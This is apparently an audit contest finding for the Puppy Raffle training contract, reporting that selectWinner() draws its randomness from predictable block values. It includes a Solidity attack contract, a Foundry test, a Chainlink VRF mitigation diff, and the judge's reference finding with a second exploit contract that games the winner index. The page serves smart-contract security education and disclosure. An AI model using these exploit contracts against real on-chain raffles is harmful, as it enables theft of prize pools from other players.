Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak random numbers can predict/manipulate the winner

Root + Impact

Description

  • Normal behavior: After the lottery ends, selectWinner() randomly selects a winner from the players array and randomly determines the rarity of the NFT.

  • Problem: Random numbers are generated entirely by predictable or manipulable variables on the chain, allowing attackers to calculate the results before calling selectWinner() and only invoking it when it benefits them. Specifically:The winnerIndex is calculated using the formula: keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length.

    The rarity is calculated using keccak256(abi.encodePacked(msg.sender, block.difficulty)) % 100.

    Among these three inputs, msg.sender is controlled by the attacker, while block.timestamp and block.difficulty can be influenced by miners/verifiers, and the attacker can also influence them by choosing the timing to send transactions.

uint256 winnerIndex =
// @> Using msg.sender, block.timestamp, and block.difficulty as random sources
// @> all three can be influenced or predicted by attackers
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Risk

Likelihood:

  • The attacker can deploy an attack contract to internally calculate the winnerIndex and rarity.

  • An attacker can alter the random result by switching the calling address (msg.sender) until they hit their own.

  • The attacker can choose to call it under a specific block.timestamp or block.difficulty to further improve the hit rate.

  • Miners/validators can directly manipulate block.timestamp and block.difficulty to ensure that they or their collaborators become the winner.

  • The cost of the attack is only gas, while the reward is the entire prize pool.

Impact:

  • The attacker can ensure that they are the winner and steal the ETH in the prize pool.

  • The attacker can also manipulate rarity, obtaining NFTs with higher rarity (the probability of legendary items is manipulated from 5% to 100%).

  • It is almost impossible for ordinary players to win, and the lottery loses its fairness.

Proof of Concept

The attacker deploys multiple attack contracts (or uses multiple addresses), each participating in the lottery.

After the lottery concludes, the attacker calculates the winnerIndex for each address based on the current block.timestamp and block.difficulty.

If the calculation result of a certain address points to itself, the attacker will use that address to call selectWinner().

If the hash is not successful, the attacker waits for the next block (block.timestamp and block.difficulty will change) and recalculates.

Attackers can also influence the blocks in which transactions are packaged by adjusting the gas price, thereby affecting the block.timestamp.

Miners/validators can directly manipulate block.timestamp and block.difficulty to ensure they become the winner.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IPuppyRaffle {
function selectWinner() external;
function players(uint256 index) external view returns (address);
function getActivePlayerIndex(address player) external view returns (uint256);
}
contract RandomnessAttacker {
IPuppyRaffle public raffle;
address public owner;
constructor(address _raffle) {
raffle = IPuppyRaffle(_raffle);
owner = msg.sender;
}
// 攻击者调用此函数,尝试成为赢家
function attack() external {
// 1. 获取当前 players 数组长度(假设有公开 getter)
// 由于 PuppyRaffle 的 players 是 public 数组,可以直接读取
// 但这里为了简化,假设攻击者知道自己可能是赢家
uint256 myIndex = raffle.getActivePlayerIndex(address(this));
// 2. 计算当前区块下的 winnerIndex
uint256 predicted = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % getPlayersLength();
// 3. 只有当预测结果等于自己的索引时才调用 selectWinner
require(predicted == myIndex, "not lucky this block");
raffle.selectWinner();
}
function getPlayersLength() internal view returns (uint256) {
// 遍历 players 数组获取长度,或者使用公开的 length getter
// PuppyRaffle 没有公开 length getter,这里假设攻击者通过其他方式获取
// 实际攻击中,攻击者可以调用 players(i) 直到 revert 来推断长度
uint256 i = 0;
while (true) {
try raffle.players(i) returns (address) {
i++;
} catch {
break;
}
}
return i;
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";
import "../src/RandomnessAttacker.sol";
contract RandomnessAttackTest is Test {
PuppyRaffle raffle;
RandomnessAttacker attacker;
address alice = address(0xA11CE);
address bob = address(0xB0B);
function setUp() public {
raffle = new PuppyRaffle(1 ether, address(0xFEE), 1 days);
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
// alice 和 bob 参与,凑够 4 人
address[] memory players = new address[](2);
players[0] = alice;
players[1] = bob;
vm.prank(alice);
raffle.enterRaffle{value: 2 ether}(players);
// 部署攻击合约
attacker = new RandomnessAttacker(address(raffle));
vm.deal(address(attacker), 2 ether);
// 攻击合约参与
address[] memory attackerPlayers = new address[](2);
attackerPlayers[0] = address(attacker);
attackerPlayers[1] = address(0xCAFE);
vm.prank(address(attacker));
raffle.enterRaffle{value: 2 ether}(attackerPlayers);
}
function testPredictRandomness() public {
// 快进到抽奖结束
vm.warp(block.timestamp + 1 days + 1);
// 攻击者尝试攻击
// 在真实场景中,攻击者会遍历不同的 msg.sender 或等待合适的 block.timestamp
// 这里我们直接演示,在当前区块下攻击者可以预测结果
uint256 predicted = uint256(
keccak256(abi.encodePacked(address(attacker), block.timestamp, block.difficulty))
) % 4;
// 如果预测结果不是攻击者自己,攻击者不会调用
// 攻击者可以通过部署多个合约地址来增加命中概率
emit log_named_uint("Predicted winner index", predicted);
}
}

Recommended Mitigation

Using Chainlink VRF
Chainlink VRF provides verifiable on-chain random numbers that cannot be manipulated by miners or attackers.

+ import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, VRFConsumerBase {
+ bytes32 internal keyHash;
+ uint256 internal fee;
+ uint256 public randomResult;
+
+ constructor(...) VRFConsumerBase(...) {
+ keyHash = ...;
+ fee = ...;
+ }
function selectWinner() external {
// ...
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // 请求随机数
+ requestRandomness(keyHash, fee);
+ // 在 fulfillRandomness 回调中根据 randomResult 选择赢家
}
+ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ randomResult = randomness;
+ }
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!